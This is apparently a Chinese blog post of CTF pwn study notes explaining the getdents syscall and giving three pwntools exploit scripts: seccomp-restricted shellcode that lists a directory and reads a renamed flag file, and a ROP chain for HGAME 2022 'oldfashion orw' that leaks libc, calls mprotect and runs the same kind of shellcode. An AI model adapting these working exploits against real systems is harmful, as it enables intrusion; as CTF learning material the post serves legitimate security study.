getdents_ogworw学习总结

一:getdents是什么

"getdents" 是一个系统调用(system call)在一些类Unix操作系统中用于获取目录中的条目列表。它接受一个文件描述符和一个缓冲区作为参数,并从目录中读取目录项的信息到缓冲区中。

二:getdents有什么用

目前我觉得的用处只有当我做pwn题目的时候,有可能flag文件不叫flag,这样你orw的时候就打不开,就要利用这个函数先找到flag的名称是什么。

三:例题

 学校内部题一

除了pie全开,同时开了沙箱,禁用execve函数,拖入ida中分析。

 首先是下一个五子棋的游戏,这里运行一下elf文件就可以看出来,下完后来到写shellcode的地方。

 

很简单的orw,写完后发现本地的flag可以打开,远程的flag却没有回显,猜测是flag名称被改变,利用上面说的函数找到flag的真实名字再进行orw就可以了。

from pwn import *
#from LibcSearcher import *
#from ctypes import *

file_name = './shellcode'
#io = process(file_name)
io = remote('119.91.229.75',55107)
elf = ELF(file_name)
context(arch = 'amd64',log_level = 'debug',os = 'linux')

io.sendlineafter(':',b'4')
io.sendlineafter(':',b'0')
io.sendlineafter(':',b'8')

#pwntools

#shellcode = b''
#shellcode += asm(shellcraft.open('./'))
#shellcode += asm(shellcraft.getdents64(3, 0x567000+0x300, 0x100))
#shellcode += asm(shellcraft.write(1,0x567000+0x300, 0x100))

#flag-true

shellcode = b''
shellcode += asm(shellcraft.open('flag-true'))
shellcode += asm(shellcraft.read(3,0x567000+0x600,0x100))
shellcode += asm(shellcraft.write(1,0x567000+0x600,0x100))

io.send(shellcode)

#io.sendline(shellcode)


io.interactive()
[HGAME 2022 week1]oldfashion orw

 

首先write函数有一个明显的整数溢出,我们利用-1实现栈溢出后找到libc版本,这里我找到libc版本后下载了这个libc版本,再利用ropper寻找里面的gadget来构造后面的payload

 

同时知道bss段的起始地址,但是我们知道mprotec的改的地址是要一个页的起始,所以往前取整数一下为0x404000

 

 首先利用mprotect函数来修改保护机制,修改之后利用getdents的手法来扫描flag名称,最后直接orw出来

 但是不知道是NSS平台收录的时候没设置还是什么,如果你打远程其实flag名称是不会变的,就是flag.txt,而且路径也要找到才可以写,所以最终写了半天的exp只有前半段能用,呜呜呜。

from pwn import *


file_name = './service'
io = remote('node5.anna.nssctf.cn',28406)
#io = process(file_name)
elf = ELF(file_name)
context(arch='amd64', log_level='debug', os='linux')

write_plt = elf.plt['write']
write_got = elf.got['write']
libc = ELF('libc6_2.27-3ubuntu1.3_amd64.so')
ret_addr = 0x40101a
pop_rdi = 0x401443
pop_rsi_r15 = 0x401441
main_addr = 0x401311

def ml_gdb():
    gdb.attach(io)
    pause(1)
io.recvuntil('size?\n')
io.sendline('-1')
io.recvuntil('content?\n')
#ml_gdb()
#search for libc
payload1 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.sendline(payload1)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("write_addr:",hex(write_addr))
libc_base = write_addr - libc.sym['write']
mprotect_addr = libc_base + libc.sym['mprotect']
read_addr = libc_base + libc.sym['read']
data_addr = 0x404000
pop_rdx =libc_base + 0x1b96
pop_rsi = libc_base + 0x23eea 
#mprotect
io.recvuntil('size?\n')
io.sendline('-1')
payload2 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(0x404000)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)+p64(mprotect_addr)+p64(main_addr)
io.sendline(payload2)
#read
bss = 0x404000
bss_addr = 0x404060
io.recvuntil('size?\n')
io.sendline('-1')
payload3 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(data_addr+0x200)+p64(pop_rdx)+p64(0x800)+p64(read_addr)+p64(data_addr+0x200)
io.sendline(payload3)
io.recv()

shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100)) 
shellcode += asm(shellcraft.open('./flag的名称'))
shellcode += asm(shellcraft.read(4,bss+500, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x500, 0x100))
io.sendline(shellcode)
#io.recvuntil('size?\n')
io.interactive()

下面是可以用的exp,我借鉴了一下nss平台上的wp写的。

from pwn import *


file_name = './service'
io = remote('node5.anna.nssctf.cn',28406)
#io = process(file_name)
elf = ELF(file_name)
context(arch='amd64', log_level='debug', os='linux')

write_plt = elf.plt['write']
write_got = elf.got['write']
libc = ELF('libc6_2.27-3ubuntu1.3_amd64.so')
ret_addr = 0x40101a
pop_rdi = 0x401443
pop_rsi_r15 = 0x401441
main_addr = 0x401311

def ml_gdb():
    gdb.attach(io)
    pause(1)
io.recvuntil('size?\n')
io.sendline('-1')
io.recvuntil('content?\n')
#ml_gdb()
#search for libc
payload1 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.sendline(payload1)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("write_addr:",hex(write_addr))
libc_base = write_addr - libc.sym['write']
mprotect_addr = libc_base + libc.sym['mprotect']
read_addr = libc_base + libc.sym['read']
data_addr = 0x404000
pop_rdx =libc_base + 0x1b96
pop_rsi = libc_base + 0x23eea 
#mprotect
io.recvuntil('size?\n')
io.sendline('-1')
payload2 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(0x404000)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)+p64(mprotect_addr)+p64(main_addr)
io.sendline(payload2)
#read
bss = 0x404000
bss_addr = 0x404060
io.recvuntil('size?\n')
io.sendline('-1')
payload3 = b'a'*(0x30+0x8)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(data_addr+0x200)+p64(pop_rdx)+p64(0x1000)+p64(read_addr)+p64(data_addr+0x200)
io.sendline(payload3)
io.recv()

shellcode = b''
shellcode += asm(shellcraft.cat('./home/ctf/flag.txt'))

io.sendline(shellcode)
#io.recvuntil('size?\n')
io.interactive()

(如有问题或我写得有问题可以联系我)

 

posted @ 2024-01-10 23:21  ModesL  阅读(619)  评论(0)    收藏  举报